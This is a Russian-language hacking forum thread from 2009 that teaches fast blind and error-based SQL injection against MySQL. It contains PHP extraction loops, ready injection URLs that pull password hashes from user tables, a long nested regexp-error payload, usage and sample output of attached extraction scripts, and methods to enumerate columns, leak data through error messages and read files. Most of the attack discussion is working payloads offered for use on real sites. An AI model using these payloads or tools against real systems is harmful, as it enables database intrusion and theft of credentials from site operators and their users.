Авторские статьи Быстрый Blind SQL Injection

Discussion in 'Статьи' started by Qwazar, 4 May 2009.

  1. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Быстрый Blind SQL Injection.


    [1] INTRO

    Основной проблемой при работе с Blind SQL Injection является огромное количество запросов,
    которое необходимо послать на сервер для получения символов из БД, и, соответственно, долгое время работы.
    Понятно, что вручную получать данные из БД практически нереально, поэтому процесс работы необходимо автоматизировать.
    Я рассмотрю некоторые варианты.


    [2] Полный перебор всех символов (до 512 запросов на md5)

    Самый тупой и тормознутый метод получения символов из БД. Обычно реализуется новичками в своих первых эксплоитах. Код выглядит примерно так:
    PHP:
    for($i=1;$i<=32;$i++)
     for(
    $j=1;$j<=255;$j++){
      
    $res send($url"sql.php?id=if(ascii(substring((select+$field+from+users+where+id=0),$i,1))=$j,'1',(select+1+union+select+2))")
      if(!
    preg_match('/Subquery returns/'$res) {
       echo 
    $j;
       continue;
      }
     }
    Принцип работы прост: Для каждого символа сравниваем значение его ascii кода с кодами заданого нами диапазона, если выполняется некое условие - символ найден. Т.е. для хеша MD5, будет слаться до 16 запросов на символ, т.е. до 512 запросов на весь хеш. Для получения логина необходимо послать ещё больше запросов.
    Плюсов у метода нет вообще, разве что код выполняющий такой перебор пишется очень быстро и легко.


    [3] Бинарный (двоичный) поиск нужного символа. (до 128 запросов на md5)

    - это тот метод, который используется в большинстве адекватных программ, скриптов и сплоитов, для работы со слепыми иньекциями.
    Принцип работы прост:

    1) Берём диапазон всех возможных символов (для md5 - [0-9,a-f]), и сравниваем значение кода символа в БД с кодом символа, который мы передали в запросе.
    2) Если код символа в БД больше чем код переданого символа, то на следующем шаге, в качестве диапазона возможных символов берём диапазон от того символа,
    с которым мы только что сравнивали значение в БД, до правой границы предыдущего диапазона, и идём на шаг 1.
    3) Если код символа меньше, то берём диапазон от текущего символа до левой границы диапазона на предыдущем шаге, и идём на шаг 1.
    4) Если символ не больше и не меньше, то мы как раз его и нашли.

    Например мы получаем хеш md5:

    Диапазон символов: 0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f
    Допустим в БД лежит символ 'b'

    Запускаем процесс:
    1) Находим середину диапазона [0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f], серединой является символ '8'.
    2) Сравниваем, код символа 'b' больше или меньше, чем код символа '8'? (шлём запрос)
    3) Код больше, поэтому на следующую итерацию уже берём диапазон [8,9,a,b,c,d,e,f], серединой является символ 'с'.
    4) Сравниваем, код символа 'b' больше или меньше, чем код символа 'с'? (шлём запрос)
    5) Код меньше, поэтому на следующую итерацию берём диапазон [8,9,a,b,c], серединой является символ 'a'.
    6) Сравниваем, код символа 'b' больше, чем код символа 'a'? (шлём запрос)
    7) Код больше, поэтому на следующую итерацию берём диапазон [a,b,c], серединой является символ 'b'.
    8) Сравниваем, код символа 'b' больше или меньше, чем код символа 'b'? (шлём запрос)
    9) Код ни больше и не меньше, значит символ в БД = 'b'

    Т.е., в зависимости от реализации, мы отправляем до 5-6 запросов, в худшем случае, на определение кода символа.

    Пример реализации:
    PHP:
    function getChar($url$field$pos$lb=0$ub=255) {
        while(
    true) {
            
    $M floor($lb + ($ub-$lb)/2);
            if(
    cond($url$field'<'$pos$M)==1) {
                
    $ub $M 1
            }
            else if(
    cond($url$field'>'$pos$M)==1) {
                
    $lb $M 1;
            }
            else
                return 
    chr($M);
            if(
    $lb $ub)
                return -
    1;
        }
    }
    + метод универсален, и даёт неплохую скорость поиска.
    - можно искать быстрее


    [4] Использование find_in_set() и подобных (32+16 запросов на md5, by +toxa+ и madnet)

    Функция find_in_set(str,strlist), используется для поиска подстроки среди списка строк, разделённых символом ',',
    возвращает номер той строки из списка, которая равна переданному аргументу. Т.е.:
    Code:
    mysql> SELECT FIND_IN_SET('b','a,b,c,d');
    -> 2
    Т.е. мы можем узнавать код символа таким образом:
    Code:
    select find_in_set((substring((select password from users limit 1),1,1)),'0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f');
    и получим номер символа в множестве. К примеру, для символа 'b', этот запрос вернёт 12.

    В слепых скулях можно использовать так:
    Code:
    news.php?id=find_in_set(substring((select password from users limit 0,1),1,1),'0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f')
    И в зависимости от кода символа мы будем видеть новость с id, соответствующим символу пароля.

    На практике, для использования нужно:
    1) Выделить ключевые слова на страницах с нужными id
    2) Отправить запросы с find_in_set для каждого символа из БД
    3) Выяснить страницу с каким id мы получили и вывести на экран код символа.

    Код прикреплю во вложении, т.к. главной сложностью является выявление ключей на странице, что не имеет прямого отношения к статье, суть расписана и так.

    Вместо find_in_set(), можно использовать подобные функции: LOCATE(),INSTR(),ASCII(),ORD(), причём ASCII()/ORD() предпочтительее,
    т.к. присутствуют не только в MySQL. (А при помощи сложения и вычитания, получившиеся коды можно подогнать под любые ID)

    + высокая скорость работы (в идеальном случае)
    + не требует вывода ошибок
    - на сайте id могут быть распределены неравномерно, т.е. скрипт приходится затачивать под каждый сайт индивидуально
    - для большого количества символов в алфавите, нужно большое количество уникальных страниц в зависимости от id, которые не всегда присутствуют, иначе приходится слать больше чем 1 запрос на символ (если не понятно, см. следующий метод)


    [5] Использование find_in_set() + more1row (~42 запроса на md5)

    Если внимательно разобраться с методом описаным выше, можно понять, что все его минусы сводятся к тому, что не на всех сайтах, мы можем получить достаточное количество различных выводимых страниц, в зависимости от одного параметра.

    Попробуем разобраться с этой проблемой, вспомним о методе more1row, который изначально описал Elekt. Суть метода сводится к тому, чтобы спровоцировать скрипт выводить какую либо ошибку, в зависимости от SQL запроса.

    В данный момент, наиболее часто используется запрос:
    Code:
    SELECT 1 UNION SELECT 2
    (нашёл podkashey), возвращающий ошибку:
    Subquery returns more than 1 row

    Так же, ZaCo, нашёл альтернативный вариант запроса:
    Code:
    "x" regexp concat("x{1,25", if(@@version<>5, "5}", "6}")) /*в случае else строка выражения выйдет за максимальный предел квантификатора*/
    Если версия MySql не 5, то этот запрос вернёт ошибку:
    #1139 - Got error 'invalid repetition count(s)' from regexp.

    Немного порывшись в исходниках MySql и погуглив, можно найти, ещё 9 ошибок, которые возвращает неправильный regexp, итого от сервера мы можем получить 11 видов ошибок + 1 состояние, когда ошибки нет:
    Code:
    SELECT 1
    No error
    
    select if(1=1,(select 1 union select 2),2)
    #1242 - Subquery returns more than 1 row
    
    select 1 regexp if(1=1,"x{1,0}",2)
    #1139 - Got error 'invalid repetition count(s)' from regexp
    
    select 1 regexp if(1=1,"x{1,(",2)
    #1139 - Got error 'braces not balanced' from regexp
     
    select 1 regexp if(1=1,'[[:]]',2)
    #1139 - Got error 'invalid character class' from regexp
    
    select 1 regexp if(1=1,'[[',2)
    #1139 - Got error 'brackets ([ ]) not balanced' from regexp
    
    select 1 regexp if(1=1,'(({1}',2)
    #1139 - Got error 'repetition-operator operand invalid' from regexp
    
    select 1 regexp if(1=1,'',2)
    #1139 - Got error 'empty (sub)expression' from regexp
    
    select 1 regexp if(1=1,'(',2)
    #1139 - Got error 'parentheses not balanced' from regexp
    
    select 1 regexp if(1=1,'[2-1]',2)
    #1139 - Got error 'invalid character range' from regexp
    
    select 1 regexp if(1=1,'[[.ch.]]',2)
    #1139 - Got error 'invalid collating element' from regexp
    
    select 1 regexp if(1=1,'\\',2)
    #1139 - Got error 'trailing backslash (\)' from regexp

    Примем это во внимание.
    Теперь вспомним о функции find_in_set: Если символ есть в множестве подстрок, она вернёт номер подстроки, если нет, вернёт 0. А что если передать такой запрос:
    Code:
    select * from users where id=-1 AND "x" regexp concat("x{1,25", if(find_in_set(substring((select passwd from users where id=1),1,1),'a,b,c,d,e,f,1,2,3,4,5,6')>0, (select 1 union select 2), "6}"))
    Если 1й символ пароля находится в множестве 'a,b,c,d,e,f,1,2,3,4,5,6', то запрос вернёт:
    #1242 - Subquery returns more than 1 row
    ,а если не находится, то:
    #1139 - Got error 'invalid repetition count(s)' from regexp


    Т.е. при каждом запросе, по коду ошибки, мы узнаём, к какой группе принадлежит символ.

    Расставим символы по группам так, чтобы минимизировать количество обращений к серверу.

    На примере md5, мы знаем, что у нас могут присутствовать только символы из диапазона [0-9,a-f], так же мы знаем, что количество групп = 12, т.к.
    всего мы можем задать 12 состояний (11 ошибок + 1, когда ошибки нет). Получаем, к примеру:

    Code:
    [01]: '0','b','c','d','e','f'
    [02]: '1'
    [03]: '2'
    [04]: '3'
    [05]: '4'
    [06]: '5'
    [07]: '6'
    [08]: '7'
    [09]: '8'
    [10]: '9'
    [11]: 'a'
    
    Расставленно именно так, чтобы минимизировать количество запросов, т.к. на каждом запросе, мы узнаём номер группы в которой находится символ.
    В итоге, если символ находится в группах 01-11, то мы узнаем его значение с одного запроса. Если символ лежит в группе 1, то следующим запросом мы распределяем символы по группам вот так, и сразу узнаём непосредственное значение символа:
    Code:
    [01]: '0'
    [02]: 'b'
    [03]: 'c'
    [04]: 'd'
    [05]: 'e'
    [06]: 'f'
    
    Алгоритм работы со скулёй выглядит несложно:
    1) оптимально распределить символы алфавита по группам
    2) по возвращённому коду ответа выяснить в какой группе находится символ из бд
    3) если в этой группе только 1 символ, то выводим его на экран, если больше чем 1 символ, то распрделеяем символы из данной группы по состояниям и идём на шаг 1.

    Понятно, что руками писать такие запросы совершенно нереально, к примеру рабочий запрос для алфавита [a-z,A-Z,0-9], и 11 состояний выглядит вот так:
    Code:
    sql.php?id=1+AND+"x"+regexp+concat("x{1,25",+(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z,6,7,8,9'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z,6,7,8'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z,6,7'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z,6'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u'),(if(find_in_set(substring((select+passwd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k'),('}'),(select+1+union+select+2))),'}x{1,0}')),'}x{1,(')),'}[[:]]')),'}[[')),'}(({1}')),'}(')),'}[2-1]')),'}[[.ch.]]')),'}\\')))+--+1
    Поэтому в приложении можно найти скрипт, который автоматически генерирует запросы с вложеными условиями согласно описаному выше алгоритму, отправляет их и по ответу определяет, стоит ли слать ещё запросы, или символ уже найден.

    + высокая скорость работы
    + универсален, как и more1row
    * Можно искать 1 символ за запрос, если найти ещё 4 ошибки, работающие в динамическом режиме.
    - требует включеный вывод ошибок


    [6] Outro

    Существует довольно много возможностей ускорить процес работы со слепыми SQL иньекциями, главное не зацикливаться на старых заезженных способах.
    Кто знает что нам принесут новые версии известных СУБД.


    [7] Links

    При написании статьи использовалось:

    https://forum.antichat.ru/thread43966.html - SQL injection полный FAQ by Dr.Z3r0
    https://forum.antichat.ru/thread43966.html - Новая альтернатива Benchmark'y или эффективный blind SQL-injection by Elekt
    https://forum.antichat.ru/showpost.php?p=535849&postcount=11 - Использование ошибок regexp by ZaCo
    https://blackhole.cih.ms:13000/showthread.php?t=554 - Проведение слепых инъекций через find_in_set() by +toxa+ (там же скрипт)
    http://dev.mysql.com/sources/doxygen/mysql-5.1/regerror_8c-source.html - Ошибки regexp (сорцы MySql)
    https://rdot.org/forum/showthread.php?t=245 - новый адрес этой темы
     
    #1 Qwazar, 4 May 2009
    Last edited: 19 Jul 2010
  2. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Скрипт для работы через find_in_set() (метод - 4)

    За основу взят скрипт c cih.ms, который написал +toxa+.

    Количество запросов: 1 на каждый символ алфавита + 1 на каждый символ в строке. Т.е. для классического MD5 - 48 запросов. Из них 16 - абсолютно естественные, никак не используют иньекцию саму по себе + от них можно избавиться, если в коде прописать регулярку, вычисляющую на какой именно странице мы находимся, тогда будет 1 запрос на 1 символ.


    Алгоритм работы скрипта:
    1) Отправляет нормальные запросы вида ?id=1, ?id=2 .. ?id=N, где N - количество символов в алфавите.
    2) Вычисляет ключевые слова для каждого из вариантов.
    3) Шлёт на сервер запрос вида: id=find_in_set(substring((select+passw+from+users+limit+0,1),0,1),[АЛФАВИТ])
    4) В ответе сервера ищет ключи, найденые ранее, если ключ совпал, значит символ найден.

    Описание:
    запуск из консоли в виде:
    Code:
    fast_in_set.php url field table [target_id] [send_queries] [start_from] [alphabet]
    где:

    обязательные:
    url - url вида http://test1.ru:8012/find_in_set/news.php?id= (Важно: после = скрипт подставлять цифры будет сам, никакого -1 там не нужно)
    field - имя столбца
    table - имя таблицы

    необязательные:
    [target_id] - id записи в таблице (по дефолту 0, т.е. первая запись)
    [send_queries] - количество символов которое надо получить (по дефолту 32)
    [start_from] - страница с которой надо начать (по дефолту 1), т.е. для получения хеша мд5 скрипту потребуется 16 различных страниц идущих подряд, а это число прибавится к получаемому id. Т.е. для md5, при start_from=10, скрипт пробежится по страницам с id от 10 до 26 включительно.
    [alphabet] - можно задать свой алфавит (по дефолту [a-f0-9]), разделив символы запятыми. Напиример: 1,2,3,4,5,6,7,8,9,0 .

    Пример:
    Code:
    php fast_in_set.php http://test1.ru:8012/find_in_set/news.php?id= password users
    или
    php fast_in_set.php http://test1.ru:8012/find_in_set/news.php?id= login users 0 5 1 r,a,o,t,z
    Результат работы:
    Code:
    Generating templates................ [OK]
    Getting keywords................ [OK]
    Filtering keywords................ [OK]
    Sending queries................................ [OK]
    Getting value: 63a9f0ea7bb98050796b649e85481845 [DONE]
    
    или
    
    Generating templates..... [OK]
    Getting keywords..... [OK]
    Filtering keywords..... [OK]
    Sending queries..... [OK]
    Getting value: root [DONE]
    В строках Generating templates и Sending queries каждая точка обозначает отправленный запрос. В остальных - обработку символов.

    P.S.
    Поидее надо добавить возможность задавать id не последовательно, возможность установить свою регулярку чтобы не надо было слать запросы для определения ключей + заточить под все виды БД.
     

    Attached Files:

    #2 Qwazar, 4 May 2009
    Last edited: 4 May 2009
    1 person likes this.
  3. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Скрипт для работы через find_in_set()+more1row (метод 5)

    Генерация запросов:

    2 ошибки обладают особенностями:
    1) select 1 regexp if(1=1,"x{1,0}",2) - работает только так, как показал ZaCo в древнем посте на античате, и требует чтобы к остальным запросам regexp корректно в начале был добавлен символ "}", иначе назвисимо от условий ругается тольо так: "#1139 - Got error 'repetition-operator operand invalid' from regexp"
    2) select 1 regexp if(1=1,'',2), работает только при наличии пустого запроса, или так: 'a|' (отсутствие чего бы то нибыло после | ), но особенность 1 убивает возможность использования чисто пустого запроса.

    Вложенные запросы скрипт генерирует сам.

    Дальше понадобилось группировать символы алфавита по условиям. Скрипт делает это по принципу (на примере [0-9,a-f] и 4х состояний):

    1) Раскидывает по 1 букве алфавита на запрос, т.е.
    Code:
    [1]:1
    [2]:2
    [3]:3
    [4]:4
    2) если символы остались, то начинает расставлять их по состояниям, слева-направо, заполняя каждую категорию не более чем на количество равное количеству состояний.

    3) Если ещё остались не распиханые символы, идём на шаг 2.

    В итоге символы по категориям расставлены так, что поиск по ним будет происходить максимально быстро.

    Например, символы [1,2,3,4,5,6,7,8], скрипт по состояниям расставит вот так:

    [1]:1,5,6,7
    [2]:2,8
    [3]:3
    [4]:4

    И получаем, что если символ в запросе равен 3 или 4, то его найдут с 1 запроса, если [1,5,6,7] или [2,8], то с 2х запросов.

    Для генерации запросов используется следующая структура:

    1) Все запросы хранятся в массиве:
    Code:
    $queries = array(
     "if(%cond%,%then%,(select+1+union+select+2))" => "Subquery returns more than 1 row",
     "if(%cond%,%then%,'}x{1,0}')" => "invalid repetition count(s)",
     "if(%cond%,%then%,'}x{1,(')" => "braces not balanced", 
     "if(%cond%,%then%,'}[[:]]')" => "invalid character class",
     "if(%cond%,%then%,'}[[')" => "brackets ([ ]) not balanced",
     "if(%cond%,%then%,'}(({1}')" => "repetition-operator operand invalid",
     "if(%cond%,%then%,'}|'" => "empty (sub)expression",
     "if(%cond%,%then%,'}(')" => "parentheses not balanced",
     "if(%cond%,%then%,'}[2-1]')" => "invalid character range",
     "if(%cond%,%then%,'}[[.ch.]]')" => "invalid collating element",
     "if(%cond%,%then%,'}\\\\')" => "trailing backslash",
    );
    где %cond% jобозначает место, куда скрипт должен подставить условие, %then% - место куда скрипт должен вставить следующий подзапрос.

    Зная это можно свободно добавлять/удалять ошибки из массива. Программа отработает полностью автоматически, и строит окончательный запрос только из тех подзапросов которые есть в наличии. (комментирование/добавление запросов к некорректной работе не приведёт).

    2) основной запрос обёртка прописывается так:
    Code:
    $template = "+AND+\"x\"+regexp+concat(\"x{1,25\",+(%query%))+--+1";
    где %query% - место куда скрипт должен подставить сгенерированные подзапросы.

    3) Подзапросы тут:
    Code:
    $condition = 'find_in_set(substring((select+'.$field.'+from+'.$table.'+limit+%id%,1),%number%,1),%symbols%)';
    где: %id% - место куда подставится id, %number% - место куда скрипт будет подставлять номер символа в строке, %symbols% - куда скрипт будет размещать символы.

    4)алфавит можно задать как в исходниках, так и из командной строки. В исходниках:
    Code:
    $alphabet = array_merge(range('0', '9'),range('a', 'f'));
    В принципе это всё нужно только для тонкой настройки.

    Работа со скриптом:
    где:

    обязательные:
    url - url вида http://test1.ru:8012/sql.php?id=1 (Важно: нужна цифра, или символ)
    field - имя столбца
    table - имя таблицы

    необязательные:
    [target_id] - id записи в таблице (по дефолту 0, т.е. первая запись)
    [send_queries] - количество символов которое надо получить (по дефолту 32)
    [alphabet] - можно задать свой алфавит (по дефолту [a-f0-9]), разделив символы запятыми. Напиример: 1,2,3,4,5,6,7,8,9,0 .

    Пример:
    Результат работы:
    Если нужно задать алфавит, id и прочее то пишем так:
    На практике у меня на хеши md5 уходит около 40 запросов.

    Если кто найдёт ещё 4 ошибки, которые работают в динамическом режиме (внутри if в зависимости от условия), то скрипт будет работать со скоростью 1 запрос - 1 символ. Добавить ошибки в базу, с учётом написаного выше, будет легко любому.

    Во вложениях 2 скрипта, в 1м всё запросы передаются в чистом виде и с кавычками (удобно для того чтобы понять как это работет), во 2м всё захексено, чтобы не было проблем с экранированием кавычек.
     

    Attached Files:

    #3 Qwazar, 4 May 2009
    Last edited: 5 May 2009
    3 people like this.
  4. cr0w

    cr0w Elder - Старейшина

    Joined:
    11 Sep 2008
    Messages:
    92
    Likes Received:
    141
    Reputations:
    33
    Интересно придумал с more1row :)

    p.s. и все таки удобнее использовать
    Code:
    select instr('0123456789abcdef', 'a');
    select instr(0x30313233343536373839616263646566, 'a');
    чем
    Code:
    select find_in_set('a', '0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f,);
    select find_in_set('a', 0x302C312C322C332C342C352C362C372C382C392C612C622C632C642C652C66);
    (;
     
  5. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    cr0w, find_in_set там по историческим мотивам :) Главное принцип :)
     
    #5 Qwazar, 4 May 2009
    Last edited: 4 May 2009
  6. Psi.X

    Psi.X New Member

    Joined:
    12 Apr 2009
    Messages:
    29
    Likes Received:
    3
    Reputations:
    0
    [4] Использование find_in_set() и подобных (32+16 запросов на md5, by +toxa+ и madnet)
    Можно ссылку на первоисточник? А то это какбы вариант моего https://forum.antichat.ru/thread117549.html метода
     
  7. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Хм, ну значит вы дошли до этого метода независимо :) Пост был на cih.ms, но сейчас тот форум снова стал приватным.

    З.Ы.
    Посмотрел, на сохранённую копию. В общем, +toxa+, madnet опередили тебя по крайней мере на год, просто их способ в паблике не всплывал.

    З.З.Ы.
    Посмотрел повнимательнее твой пост. По сути твой способ - недоработанный вариант их способа, почему недоработанный? Потому что у тебя не показан законченный вариант перебора, когда ты реально не знаешь какие значения лежат в полях.
    Code:
    ?news.php?news_id=
    	(select 111 from information_schema.tables where table_name = 'administrators'
    	     union select 112 from information_schema.tables where table_name = 'admins'
    	     union select 113 from information_schema.tables where table_name = 'users')
    Их способ удобнее, т.к. откуда ты знаешь слова 'admin', 'users' и т.п.? Вот что у вас общего, так это работа с большим кол-вом ID. (Респект и уважуха кст., за то что нашёл, пусть и позже)
     
    #7 Qwazar, 12 May 2009
    Last edited: 12 May 2009
  8. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    From ROA with love

    Ещё 1 способ узнать имена колонок без использования information_schema в MySQL5 (нашёл 25.02.2009, спасибо Грею, за то что проверил у себя и всем, кого мучал вопросами).

    У меня есть таблицы:
    news(id,title,date)
    users(id,name,passwd,is_admin)

    Допустим мы имеем скуль:
    SELECT * FROM `news` WHERE id = [SQL]

    Хотим узнать имена столбцов в таблице users. Делаем это так:

    Шлём запрос:
    Code:
    SELECT * FROM `news` WHERE id = -1 UNION SELECT * FROM users, (SELECT * FROM `users` CROSS JOIN (select * from users) as b ON 1=1)a 
    Возвращает ошибку:
    #1060 - Duplicate column name 'id'

    Кстати можно использовать любой вариант JOIN'а, не обязательно CROSS JOIN, просто перебирая варианты он оказался последним.

    (А вот после этого пришлось помучатся, благо в MySQL обнаружилась конструкция USING(), далее всё внимание на неё)

    Тогда шлём запрос:
    Code:
    SELECT * FROM `news` WHERE id = -1 UNION SELECT * FROM users, (SELECT * FROM `users` CROSS JOIN (select * from users) as b [B]USING(id)[/B])a 
    Возвращает:
    #1060 - Duplicate column name 'name'

    Тогда шлём:
    Code:
    SELECT * FROM `news` WHERE id = -1 UNION SELECT * FROM users, (SELECT * FROM `users` CROSS JOIN (select * from users) as b [B]USING(id,name)[/B])a 
    Возвращает:
    #1060 - Duplicate column name 'passwd'

    И т.д., когда переберём все столбцы, вернётся:
    #1222 - The used SELECT statements have a different number of columns

    З.Ы.
    Если удалить всё ненужное, то получатся запросы:
    Code:
    -1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)a
    
    Code:
    -1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a
    Вариантов избавиться от подзапросов пока не вижу :(
     
    #8 Qwazar, 1 Sep 2009
    Last edited: 1 Sep 2009
    2 people like this.
  9. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    From ROA with love

    Итак, развиваем тему "more 1 row".

    Зачем слать по 40 запросов на хеш? Почему бы нам не вытянуть всё поле из БД сразу.

    Для этого вспоминаем мой метод получения имён полей из БД:

    Выведет имя поля, присутствуещего с двух сторон оператора JOIN: #1060 - Duplicate column name 'id'

    А что если попытаться подставить значение из базы, в качестве имени одного из полей?

    На поиск такого варианта я потратил много времени и решение было найдено:

    Функция NAME_CONST()

    Пробуем, и получаем рабочий запрос:

    Результат работы:
    #1060 - Duplicate column name 'f8d80def69dc3ee86c5381219e4c5c80'


    И вот ещё пример от jokester:
    Ну и в неслепых скулях этим можно пользоваться если лень подбирать кол-во колонок.

    Требования: MySQL=5.0.*, на 6й ветке не проверял, если кто проверит - отпишитесь.

    Первым идею выводить значение поля в тексте ошибки, мне предложил Jokester (не забываем передавать спасибо и ему). На поиск варианта практической реализации, мной было потрачено около двух месяцев...

    P.S.
    Ну что, кто сможет быстрее?? :)

    UPD:
    У меня текст имени колонки выводимой в ошибке, режется до 64 символов
     
    #9 Qwazar, 1 Sep 2009
    Last edited: 1 Sep 2009
    10 people like this.
  10. cr0w

    cr0w Elder - Старейшина

    Joined:
    11 Sep 2008
    Messages:
    92
    Likes Received:
    141
    Reputations:
    33
    Можно и еще быстрее. :) Например, если получать по 2 хеша за запрос:
    Если, конечно, мы имеем дело с 32х-символьными хешами. (;

    add:

    А еще этим способом можно, например, более-менее сносно читать файлы:
    перемещая 64х-символьное "окно" по файлу, увеличивая на 64 второй параметр в substr()'ах.

    Отмечу, что это в случае, если в таблице news и users разное количество столбцов. При одинаковом - запрос просто нормально выполнится.

    Если быть более точными, нужен MySQL=>5.0.12
     
    #10 cr0w, 1 Sep 2009
    Last edited: 2 Sep 2009
    2 people like this.
  11. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Ещё один вариант вывода через ошибку нашёл Дмитрий Евтеев:
    Code:
    sql.php?id=1 and ExtractValue(1,concat(0x5c,('test')))
    Вернёт ошибку:
    Code:
    XPATH syntax error: '\test'
    Подробнее в этой презентации (слайд 24): http://www.slideshare.net/devteev/advanced-sql-injection-2337439?src=embed

    З.Ы.
    Как я понял требуется MySQL 5.1 , поправьте если ошибаюсь.

    З.З.Ы.
    Ограничение длины вывода - 31 символ.

    3.3.3.Ы.
    Советую презентацию целиком посмотреть, есть интересные вещи, хоть и намешано в кучу.
     
    #11 Qwazar, 26 Oct 2009
    Last edited: 26 Oct 2009
    3 people like this.
  12. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Вывод информации в ошибке для Mysql >= 4.1

    Скрипт для теста:

    PHP:
    <?php
     mysql_connect
    ("localhost""root""");
     
    mysql_select_db ('test');

     
    $rz mysql_query ("select count(*),concat(version(),floor(rand()*2)) x from users group by x;") or die (mysql_error());
    ?>
    Запускаем несколько раз (!!!) и с далеко ненулевой вероятностью ловим ошибку типа:

    Duplicate entry '5.0.45-community-nt1' for key 1
    Duplicate entry '5.0.45-community-nt0' for key 1

    Пример использования в скуле:
    Code:
    http://localhost/sql.php?id=1+UNION+select+1,count(*),concat((select pass from users limit 1),0x3a,floor(rand()*2))+x+from+users+group+by+x
    Результат:
    Code:
    Duplicate entry '[B]1bc29b36f623ba82aaf6724fd3b16718[/B]:1' for key 1
    Вариант запуска без подбора колонок (Можно использовать только <,> и !=, символ = не прокатит):

    Code:
    http://localhost/sql.php?id=1'+and+row(1,1)>(select+count(*),concat((select+pass+from+users+limit+1),0x3a,floor(rand()*2))+x+from+users+group+by+x+limit+1)+--+1

    Особенности:

    1) Работает на всех ветках, проверял на 4.1, 5.0, 5.1 .

    2) Когда в таблице из которой надо дёрнуть информацию, находится только одна строка, надо делать так:
    Code:
    sql.php?id=1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2)) x from (select 1 union select 2)a group by x limit 1) -- 1
    или так:
    Code:
    sql.php?id=1 union select 1,2,passwd from users where id=1 and row(1,1)>(select count(*),concat( (select users.passwd) ,0x3a,floor(rand()*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- 1
    Может быть попробую перевести в более удобоваримую форму.

    P.S.
    Скриншот консоли, первые 3 раза запрос отработал, на 4й упал как надо: http://s48.radikal.ru/i120/0910/ce/4974d14483ba.jpg

    P.P.S.
    Я выкладываю всё это не просто так, большая просьба ко всем кто использует эти методы на практике - сообщайте о версиях на которых метод не отработал!! И о любом нестандартном поведении, которые замечаете. В данном случае так же интересуют закономерности и зависимости :).

    Так-же тут: http://qwazar.ru/?p=7
     
    6 people like this.
  13. Root-access

    Root-access Elder - Старейшина

    Joined:
    18 Jun 2008
    Messages:
    193
    Likes Received:
    195
    Reputations:
    91
    Ещё альтернатива:
    Code:
    SELECT 'a' IN (%symbols);
    А лучше всего по-моему так:
    Code:
    SELECT 'a' BETWEEN '0' AND 'z'
    Ответ будет 0 или 1.

    P.S. Ещё короче с регуляркой:
    Code:
    SELECT 'a' REGEXP '[0-z]'
     
    #13 Root-access, 26 Dec 2009
    Last edited: 26 Dec 2009
  14. borntobebad

    borntobebad New Member

    Joined:
    23 Mar 2009
    Messages:
